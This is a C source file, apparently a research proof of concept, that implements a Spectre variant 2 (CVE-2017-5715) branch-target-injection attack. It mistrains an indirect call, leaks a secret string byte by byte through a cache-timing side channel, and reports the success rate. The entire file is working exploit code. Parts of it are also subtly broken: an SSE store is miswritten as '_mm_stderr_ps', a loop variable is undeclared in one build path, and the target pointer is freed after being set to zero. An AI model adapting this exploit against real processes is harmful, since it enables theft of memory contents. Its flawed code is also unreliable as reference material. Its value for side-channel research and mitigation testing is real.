432 lines
11 KiB
C
432 lines
11 KiB
C
|
/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement
|
|||
|
|
*
|
|||
|
|
* Borrows code from
|
|||
|
|
* - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
|
|||
|
|
*
|
|||
|
|
* Copyright (c) 2022 Samuel AUBERTIN
|
|||
|
|
*
|
|||
|
|
* Permission to use, copy, modify, and distribute this software for any
|
|||
|
|
* purpose with or without fee is hereby granted, provided that the above
|
|||
|
|
* copyright notice and this permission notice appear in all copies.
|
|||
|
|
*
|
|||
|
|
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
|||
|
|
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
|||
|
|
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
|||
|
|
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
|||
|
|
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
|||
|
|
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
|||
|
|
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
|||
|
|
*/
|
|||
|
|
|
|||
|
|
#include <stdio.h>
|
|||
|
|
#include <stdlib.h>
|
|||
|
|
#include <stdint.h>
|
|||
|
|
#include <getopt.h>
|
|||
|
|
#include <string.h>
|
|||
|
|
#include <x86intrin.h> /* for rdtscp and clflush */
|
|||
|
|
|
|||
|
|
#if defined(__i386__) || defined(__amd64__)
|
|||
|
|
#define CACHELINE_SIZE 64
|
|||
|
|
#else
|
|||
|
|
#error "unsupported architecture"
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
#if defined(__SSE__) && !defined(__SSE2__)
|
|||
|
|
#define NOSSE2
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
#ifdef NOSSE2
|
|||
|
|
#define NORDTSCP
|
|||
|
|
#define NOMFENCE
|
|||
|
|
#define NOCLFLUSH
|
|||
|
|
#endif //NOSSE2
|
|||
|
|
|
|||
|
|
#ifndef NORDTSCP
|
|||
|
|
#define LATENCY 42 + 42
|
|||
|
|
#else
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
#define LATENCY 18 + 18
|
|||
|
|
#endif
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
#define GAP 1024
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
#ifdef NOCLFLUSH
|
|||
|
|
#define CACHE_FLUSH_ITERATIONS 2048
|
|||
|
|
#define CACHE_FLUSH_STRIDE 4096
|
|||
|
|
|
|||
|
|
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
|
|||
|
|
|
|||
|
|
/* Flush memory using long SSE instructions */
|
|||
|
|
void
|
|||
|
|
flush_memory_sse(
|
|||
|
|
uint8_t * addr
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
float * p = (float *)addr;
|
|||
|
|
float c = 0.f;
|
|||
|
|
__m128 i = _mm_setr_ps(c, c, c, c);
|
|||
|
|
|
|||
|
|
int k, l;
|
|||
|
|
/* Non-sequential memory addressing by looping through k by l */
|
|||
|
|
for (k = 0; k < 4; k++)
|
|||
|
|
for (l = 0; l < 4; l++)
|
|||
|
|
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
|
|||
|
|
}
|
|||
|
|
#endif //NOCLFLUSH
|
|||
|
|
|
|||
|
|
|
|||
|
|
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
|||
|
|
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
|||
|
|
uint64_t *target; // pointer to indirect call target
|
|||
|
|
|
|||
|
|
unsigned int array1_size = 16;
|
|||
|
|
uint8_t unused1[64];
|
|||
|
|
uint8_t array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
|||
|
|
uint8_t unused2[64];
|
|||
|
|
uint8_t array2[256 * 512];
|
|||
|
|
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
|||
|
|
unsigned cache_hit_threshold;
|
|||
|
|
|
|||
|
|
// mistrained target of indirect call
|
|||
|
|
int
|
|||
|
|
gadget(
|
|||
|
|
char *addr
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
return channel[*addr * GAP]; // speculative loads fetch data into the cache
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// safe target of indirect call
|
|||
|
|
int
|
|||
|
|
safe_target()
|
|||
|
|
{
|
|||
|
|
return 42;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
static inline unsigned
|
|||
|
|
timed_access(
|
|||
|
|
volatile uint8_t *addr
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
uint64_t t0, t1;
|
|||
|
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
|||
|
|
unsigned int junk = junk;
|
|||
|
|
#ifndef NORDTSCP
|
|||
|
|
t0 = __rdtscp(& junk);
|
|||
|
|
junk |= *addr;
|
|||
|
|
t1 = __rdtscp(& junk);
|
|||
|
|
#else
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
/*
|
|||
|
|
Since the rdstc instruction isn't serialized, newer processors will try to
|
|||
|
|
reorder it, ruining its value as a timing mechanism.
|
|||
|
|
To get around this, we use the mfence instruction to introduce a memory
|
|||
|
|
barrier and force serialization. mfence is used because it is portable across
|
|||
|
|
Intel and AMD.
|
|||
|
|
*/
|
|||
|
|
_mm_mfence();
|
|||
|
|
t0 = __rdtsc();
|
|||
|
|
_mm_mfence();
|
|||
|
|
junk = * addr;
|
|||
|
|
_mm_mfence();
|
|||
|
|
t1 = __rdtsc();
|
|||
|
|
_mm_mfence();
|
|||
|
|
|
|||
|
|
#else
|
|||
|
|
/*
|
|||
|
|
The mfence instruction was introduced with the SSE2 instruction set, so
|
|||
|
|
we have to ifdef it out on pre-SSE2 processors.
|
|||
|
|
Luckily, these older processors don't seem to reorder the rdtsc instruction,
|
|||
|
|
so not having mfence on older processors is less of an issue.
|
|||
|
|
*/
|
|||
|
|
t0 = __rdtsc();
|
|||
|
|
junk |= *addr;
|
|||
|
|
t1 = __rdtsc();
|
|||
|
|
#endif // NOMFENCE
|
|||
|
|
#endif // NORDTSCP
|
|||
|
|
return (unsigned)(t1 - t0 - LATENCY);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
static void
|
|||
|
|
calibrate_threshold(
|
|||
|
|
unsigned int *threshold
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
volatile char buf[2 * CACHELINE_SIZE];
|
|||
|
|
volatile uint8_t *bufp;
|
|||
|
|
int i;
|
|||
|
|
const int cnt = 10000;
|
|||
|
|
uint64_t tcache = 0;
|
|||
|
|
__attribute__((unused))
|
|||
|
|
volatile int junk = 0;
|
|||
|
|
|
|||
|
|
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINE_SIZE) &
|
|||
|
|
~(CACHELINE_SIZE - 1)));
|
|||
|
|
|
|||
|
|
junk |= *bufp;
|
|||
|
|
|
|||
|
|
for (i = 0, tcache = 0; i < cnt; i++) {
|
|||
|
|
tcache += timed_access(bufp);
|
|||
|
|
}
|
|||
|
|
tcache = tcache / cnt;
|
|||
|
|
|
|||
|
|
if (threshold != NULL) {
|
|||
|
|
*threshold = tcache + LATENCY;
|
|||
|
|
}
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// function that makes indirect call
|
|||
|
|
// note that addr will be passed to gadget via %rdi
|
|||
|
|
int
|
|||
|
|
victim_function(
|
|||
|
|
char *addr,
|
|||
|
|
int input
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
int junk = 0;
|
|||
|
|
// set up branch history buffer (bhb) by performing >29 taken branches
|
|||
|
|
// see https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html
|
|||
|
|
// for details about how the branch prediction mechanism works
|
|||
|
|
// junk and input used to guarantee the loop is actually run
|
|||
|
|
for (int i = 1; i <= 100; i++) {
|
|||
|
|
input += i;
|
|||
|
|
junk += input & i;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
int result;
|
|||
|
|
// call *target
|
|||
|
|
__asm volatile("callq *%1\n"
|
|||
|
|
"mov %%eax, %0\n"
|
|||
|
|
: "=r" (result)
|
|||
|
|
: "r" (*target)
|
|||
|
|
: "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11");
|
|||
|
|
return result & junk;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
void
|
|||
|
|
leak(
|
|||
|
|
char *target_addr,
|
|||
|
|
uint8_t value[2],
|
|||
|
|
int score[2],
|
|||
|
|
unsigned cache_hit_threshold
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
static int results[256];
|
|||
|
|
int tries, i, j, mix_i;
|
|||
|
|
unsigned int junk = 0;
|
|||
|
|
volatile uint8_t *addr;
|
|||
|
|
char dummy = '@';
|
|||
|
|
|
|||
|
|
#ifdef NOCLFLUSH
|
|||
|
|
int junk2 = 0;
|
|||
|
|
int l;
|
|||
|
|
(void)junk2;
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
for (i = 0; i < 256; i++) {
|
|||
|
|
results[i] = 0;
|
|||
|
|
channel[i * GAP] = 1;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
for (tries = 999; tries > 0; tries--) {
|
|||
|
|
*target = (uint64_t)&gadget;
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
for (j = 50; j > 0; j--) {
|
|||
|
|
junk ^= victim_function(&dummy, 0);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
#ifndef NOCLFLUSH
|
|||
|
|
for (i = 0; i < 256; i++)
|
|||
|
|
_mm_clflush(&channel[i * GAP]);
|
|||
|
|
#else
|
|||
|
|
for (j = 0; j < 16; j++) {
|
|||
|
|
for (i = 0; i < 256; i++) {
|
|||
|
|
flush_memory_sse(&channel[i * GAP]);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
// change to safe target
|
|||
|
|
*target = (uint64_t)&safe_target;
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
// flush target to prolong misprediction interval
|
|||
|
|
#ifndef NOCLFLUSH
|
|||
|
|
_mm_clflush((void*) target);
|
|||
|
|
#else
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
// call victim
|
|||
|
|
junk ^= victim_function(target_addr, 0);
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
_mm_mfence();
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
|
|||
|
|
// now, the value of *addr_to_read should be cached even though
|
|||
|
|
// the logical execution path never calls gadget()
|
|||
|
|
|
|||
|
|
// time reads, mix up order to prevent stride prediction
|
|||
|
|
|
|||
|
|
|
|||
|
|
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
|||
|
|
for (i = 0; i < 256; i++) {
|
|||
|
|
mix_i = ((i * 167) + 13) & 255;
|
|||
|
|
addr = & channel[mix_i * GAP];
|
|||
|
|
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
|||
|
|
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/* Locate highest results in j */
|
|||
|
|
j = -1;
|
|||
|
|
for (i = 0; i < 256; i++) {
|
|||
|
|
if (j < 0 || results[i] >= results[j]) {
|
|||
|
|
j = i;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (results[j] >= 3)
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
|||
|
|
value[0] = (uint8_t) j;
|
|||
|
|
score[0] = results[j];
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
int
|
|||
|
|
main(
|
|||
|
|
int argc,
|
|||
|
|
char** argv
|
|||
|
|
)
|
|||
|
|
{
|
|||
|
|
target = (uint64_t*)malloc(sizeof(uint64_t));
|
|||
|
|
int o;
|
|||
|
|
//size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
|
|||
|
|
int score[2], len = (int)strlen(secret);
|
|||
|
|
uint8_t value[2];
|
|||
|
|
unsigned successes = 0;
|
|||
|
|
int json = 0;
|
|||
|
|
char *addr = secret;
|
|||
|
|
|
|||
|
|
while ((o = getopt(argc, argv, "t:j")) != EOF) {
|
|||
|
|
switch (o) {
|
|||
|
|
case 't':
|
|||
|
|
cache_hit_threshold = atoi(optarg);
|
|||
|
|
break;
|
|||
|
|
case 'j':
|
|||
|
|
json++;
|
|||
|
|
break;
|
|||
|
|
default:
|
|||
|
|
usage:
|
|||
|
|
fprintf(stderr, "usage: %s [-j] "
|
|||
|
|
"[-t threshold]\n"
|
|||
|
|
"\t-j\t\tJSON output\n"
|
|||
|
|
"\t-t INT\t\tfixed threshold\n", argv[0]);
|
|||
|
|
return 1;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (argc != optind)
|
|||
|
|
goto usage;
|
|||
|
|
|
|||
|
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ",
|
|||
|
|
argv[0] + 2,
|
|||
|
|
len);
|
|||
|
|
|
|||
|
|
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
|||
|
|
#ifdef NOCLFLUSH
|
|||
|
|
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
|||
|
|
cache_flush_array[i] = 1;
|
|||
|
|
}
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
//for (i = 0; i < (int)sizeof(array2); i++)
|
|||
|
|
// array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
|||
|
|
|
|||
|
|
while (--len >= 0) {
|
|||
|
|
leak(addr++, value, score, cache_hit_threshold);
|
|||
|
|
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
|
|||
|
|
successes++;
|
|||
|
|
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
|
|||
|
|
} else {
|
|||
|
|
fprintf(stderr, "\033[31m?\033[0m");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
fprintf(stderr, "\n");
|
|||
|
|
if (json) {
|
|||
|
|
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
|||
|
|
#ifndef NORDTSCP
|
|||
|
|
printf("\"rdtscp\": true, ");
|
|||
|
|
#else
|
|||
|
|
printf("\"rdtscp\": false, ");
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
printf("\"mfence\": true, ");
|
|||
|
|
#else
|
|||
|
|
printf("\"mfence\": false, ");
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOCLFLUSH
|
|||
|
|
printf("\"clflush\": true ");
|
|||
|
|
#else
|
|||
|
|
printf("\"clflush\": false ");
|
|||
|
|
#endif
|
|||
|
|
printf("}, \"mitigations\": { ");
|
|||
|
|
#ifdef LFENCE_MITIGATION
|
|||
|
|
printf("\"lfence\": true, ");
|
|||
|
|
#else
|
|||
|
|
printf("\"lfence\": false, ");
|
|||
|
|
#endif
|
|||
|
|
#ifdef MASKING_MITIGATION
|
|||
|
|
printf("\"masking\": true ");
|
|||
|
|
#else
|
|||
|
|
printf("\"masking\": false ");
|
|||
|
|
#endif
|
|||
|
|
printf("}, ");
|
|||
|
|
printf("\"threshold\": %d, ", cache_hit_threshold);
|
|||
|
|
printf("\"success\": %.0f } }",
|
|||
|
|
100 * successes / (float)strlen(secret));
|
|||
|
|
}
|
|||
|
|
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
|||
|
|
#ifndef NORDTSCP
|
|||
|
|
fprintf(stderr, "RDTSCP ");
|
|||
|
|
#else
|
|||
|
|
fprintf(stderr, "RDTSC ");
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOMFENCE
|
|||
|
|
fprintf(stderr, "MFENCE ");
|
|||
|
|
#endif
|
|||
|
|
#ifndef NOCLFLUSH
|
|||
|
|
fprintf(stderr, "CLFLUSH ");
|
|||
|
|
#endif
|
|||
|
|
#ifdef LFENCE_MITIGATION
|
|||
|
|
fprintf(stderr, "LFENCE_MITIGATION ");
|
|||
|
|
#endif
|
|||
|
|
#ifdef MASKING_MITIGATION
|
|||
|
|
fprintf(stderr, "MASKING_MITIGATION ");
|
|||
|
|
#endif
|
|||
|
|
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n",
|
|||
|
|
cache_hit_threshold,
|
|||
|
|
100 * successes / (float)strlen(secret));
|
|||
|
|
target = 0;
|
|||
|
|
free(target);
|
|||
|
|
return 0;
|
|||
|
|
}
|